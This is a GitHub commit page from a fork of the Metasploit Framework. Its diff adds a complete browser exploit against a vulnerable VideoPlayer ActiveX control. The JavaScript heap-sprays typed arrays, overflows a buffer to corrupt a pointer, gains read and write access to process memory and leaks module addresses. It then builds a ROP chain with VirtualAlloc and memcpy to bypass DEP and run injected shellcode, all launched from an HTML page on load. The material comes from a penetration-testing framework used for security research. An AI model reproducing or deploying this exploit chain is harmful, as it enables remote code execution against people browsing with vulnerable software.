forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #5 from jvazquez-r7/land_3323
Update with rapid7 master changes. I'll take a further look at this module and add version support to pick the best exploit path for differing tomcat versions.
- Loading branch information
Showing
306 changed files
with
14,343 additions
and
5,799 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,126 @@ | ||
var Exploit = function () { | ||
// create its vulnerable ActiveX object (as HTMLObjectElement) | ||
this.obj = document.createElement("object"); | ||
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B"); | ||
// perform controlled memwrite to 0x1111f010: typed array header is at | ||
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with | ||
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00 | ||
// The first 3 dwords are sideeffects due to the code we abuse for the | ||
// controlled memcpy | ||
this.whereAddress = 0x1111f010; | ||
this.memory = null; | ||
this.addresses = new Object(); | ||
this.sprayer = null; | ||
this.informer = null; | ||
this.sc = "<%=shellcode%>"; | ||
}; | ||
|
||
Exploit.prototype.run = function() { | ||
CollectGarbage(); | ||
this.sprayer = new Sprayer(); | ||
this.sprayer.spray(); | ||
|
||
this.memory = this.doCorruption(); | ||
|
||
//alert(this.memory.length.toString(16)) | ||
if (this.memory.length != 0x7fffffff){ | ||
//alert("Cannot change Uint32Array length"); | ||
return -1; | ||
} | ||
|
||
// now we could even repair the change we did with memcpy ... | ||
|
||
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress); | ||
var leakSuccess = this.leakAddresses(); | ||
|
||
if (leakSuccess != 0) { | ||
//alert("Cannot leak required address to build the ROP chain"); | ||
return leakSuccess; | ||
} | ||
|
||
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length); | ||
ropBuilder.buildRop(); | ||
|
||
// manipulate object data to gain EIP control with "Play" method | ||
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26]; | ||
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call | ||
|
||
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */ | ||
this.obj.Play() | ||
}; | ||
|
||
Exploit.prototype.prepareOverflow = function() { | ||
// prepare buffer with address we want to write to | ||
var ptrBuf = ""; | ||
// fill buffer: length = relative pointer address - buffer start + pointer | ||
// offset | ||
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" } | ||
ptrBuf += this.dword2str(this.whereAddress); | ||
|
||
return ptrBuf; | ||
}; | ||
|
||
Exploit.prototype.doCorruption = function() { | ||
var ptrBuf = this.prepareOverflow(); | ||
|
||
// trigger: overflow buffer and overwrite the pointer value after buffer | ||
this.obj.SetText(ptrBuf, 0, 0); | ||
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068") | ||
|
||
// use overwritten pointer after buffer with method "SetFontName" to conduct | ||
// memory write. We overwrite a typed array's header length to 0x40 and let | ||
// its buffer point to the next typed array header at 0x1111f030 (see above) | ||
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE | ||
|
||
|
||
if (this.sprayer.find() == -1){ | ||
//alert("cannot find corrupted Uint32Array"); | ||
return -1 | ||
} | ||
|
||
// modify subsequent Uint32Array to be able to RW all process memory | ||
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length | ||
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem | ||
|
||
// our memory READWRITE interface :) | ||
return this.sprayer.fullMemory; | ||
}; | ||
|
||
Exploit.prototype.leakAddresses = function() { | ||
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj); | ||
|
||
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj); | ||
|
||
// check if we have the image of VideoPlayer.ocx | ||
// check for MZ9000 header and "Vide" string at offset 0x6a000 | ||
if (this.memory[this.addresses['base'] / 4] != 0x905a4d || | ||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){ | ||
//alert("Cannot find VideoPlayer.ocx base or its version is wrong"); | ||
return -1; | ||
} | ||
//alert(this.addresses['base'].toString(16)) | ||
|
||
// get VirtualAlloc from imports of VideoPlayer.ocx | ||
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4]; | ||
// memcpy is available inside VideoPlayer.ocx | ||
this.addresses['memcpy'] = this.addresses['base'] + 0x15070; | ||
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16)) | ||
|
||
scBuf = new Uint8Array(this.sc.length); | ||
for (n=0; n < this.sc.length; n++){ | ||
scBuf[n] = this.sc.charCodeAt(n); | ||
} | ||
|
||
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf); | ||
|
||
return 0; | ||
}; | ||
|
||
// dword to little endian string | ||
Exploit.prototype.dword2str = function(dword) { | ||
var str = ""; | ||
for (var n=0; n < 4; n++){ | ||
str += String.fromCharCode((dword >> 8 * n) & 0xff); | ||
} | ||
return str; | ||
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
var Informer = function(infArray, mem, ref) { | ||
this.infoLeakArray = infArray; | ||
this.memoryArray = mem; | ||
this.referenceAddress = ref; | ||
}; | ||
|
||
// Calculate VideoPlayer.ocx base | ||
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) { | ||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element | ||
//alert(mem[0x11120020/4].toString(16)) | ||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj) | ||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18 | ||
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64 | ||
// deref heap pointer containing VideoPlayer.ocx pointer | ||
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4]; | ||
var base = videoplayerPtr - 0x6b3b0; // calculate base | ||
|
||
return base; | ||
}; | ||
|
||
// Calculate VideoPlayer object addres | ||
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) { | ||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element | ||
//alert(mem[0x11120020/4].toString(16)) | ||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj) | ||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18 | ||
|
||
return objPtr; | ||
}; | ||
|
||
// Calculate the shellcode address | ||
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) { | ||
this.infoLeakArray[0] = shellcodeBuffer; | ||
// therefore, leak array element at 0x11120020 (typed array header of | ||
// Uint8Array containing shellcode) ... | ||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; | ||
// ...and deref array element + 0x1c (=> leak shellcode's buffer address) | ||
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7] | ||
|
||
return shellcodeAddr; | ||
}; | ||
|
||
|
||
Informer.prototype.leakRopAddress = function(ropArray) { | ||
this.infoLeakArray[0] = ropArray | ||
// leak array element at 0x11120020 (typed array header) | ||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; | ||
// deref array element + 0x1c (leak rop's buffer address) | ||
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address | ||
|
||
return ropAddr; | ||
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
var RopBuilder = function(informer, addresses, scLength) { | ||
this.rop = new Uint32Array(0x1000); | ||
this.ropAddress = informer.leakRopAddress(this.rop); | ||
this.base = addresses['base']; | ||
this.virtualAlloc = addresses['virtualAlloc']; | ||
this.memcpy = addresses['memcpy']; | ||
this.scAddr = addresses['shellcode']; | ||
this.scLength = scLength; | ||
}; | ||
|
||
// Build the ROP chain to bypass DEP | ||
RopBuilder.prototype.buildRop = function() { | ||
// ROP chain (rets in comments are omitted) | ||
// we perform: | ||
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX) | ||
// memcpy(EAX, shellcode, shellcodeLen) | ||
// (void(*)())EAX() | ||
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30] | ||
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30; | ||
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called | ||
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX) | ||
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7 | ||
this.rop[offs + 0x3] = 0; // lpAddress | ||
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000) | ||
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT) | ||
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE) | ||
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2) | ||
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem | ||
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX; | ||
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain | ||
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem | ||
this.rop[offs + 0xc] = this.memcpy; | ||
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime | ||
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime | ||
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2) | ||
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3) | ||
}; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
var Sprayer = function () { | ||
// amount of arrays to create on the heap | ||
this.nrArrays = 0x1000; | ||
// size of data in one array block: 0xefe0 bytes => | ||
// subract array header (0x20) and space for typed array headers (0x1000) | ||
// from 0x10000 | ||
this.arrSize = (0x10000-0x20-0x1000)/4; | ||
// heap array container will hold our heap sprayed data | ||
this.arr = new Array(this.nrArrays); | ||
// use one buffer for all typed arrays | ||
this.intArrBuf = new ArrayBuffer(4); | ||
this.corruptedArray = null; | ||
this.corruptedArrayNext = null; | ||
}; | ||
|
||
// Spray the heap with array data blocks and subsequent typed array headers | ||
// of type Uint32Array | ||
Sprayer.prototype.spray = function() { | ||
var k = 0; | ||
while(k < this.nrArrays) { | ||
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data | ||
// aligned at 0xXXXX0020) | ||
this.arr[k] = new Array(this.arrSize); | ||
|
||
// fill remaining page (0x1000) after array data with headers of | ||
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a | ||
// typed array header has the size of 0x30. 0x10 bytes are left empty | ||
for(var i = 0; i < 0x55; i++){ | ||
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,... | ||
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1); | ||
} | ||
|
||
// tag the array's last element | ||
this.arr[k][this.arrSize - 1] = 0x12121212; | ||
k += 1; | ||
} | ||
}; | ||
|
||
// Find the corrupted Uint32Array (typed array) | ||
Sprayer.prototype.find = function() { | ||
var k = 0; | ||
|
||
while(k < this.nrArrays - 1) { | ||
for(var i = 0; i < 0x55-1; i++){ | ||
if(this.arr[k][i][0] != 0){ | ||
// address of jscript9!Js::TypedArray<unsigned int>::`vftable' | ||
// alert("0x" + arr[k][i][0].toString(16)) | ||
this.corruptedArray = this.arr[k][i]; | ||
this.corruptedArrayNext = this.arr[k+1]; | ||
this.fullMemory = this.arr[k][i+1]; | ||
return 1; | ||
} | ||
} | ||
k++; | ||
} | ||
|
||
return -1; | ||
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
<!DOCTYPE html> | ||
<html> | ||
<head> | ||
<script src="js/exploit.js"></script> | ||
<script src="js/sprayer.js"></script> | ||
<script src="js/informer.js"></script> | ||
<script src="js/rop_builder.js"></script> | ||
</head> | ||
<body onload="e = new Exploit(); e.run();"> | ||
</body> | ||
</html> |
Binary file removed
BIN
-1.66 KB
data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin
Binary file not shown.
Binary file removed
BIN
-530 Bytes
data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin
Binary file not shown.
Binary file removed
BIN
-530 Bytes
data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin
Binary file not shown.
Binary file removed
BIN
-795 Bytes
data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin
Binary file not shown.
Binary file removed
BIN
-811 Bytes
data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin
Binary file not shown.
Binary file removed
BIN
-527 Bytes
data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin
Binary file not shown.
Binary file not shown.
Binary file not shown.
Oops, something went wrong.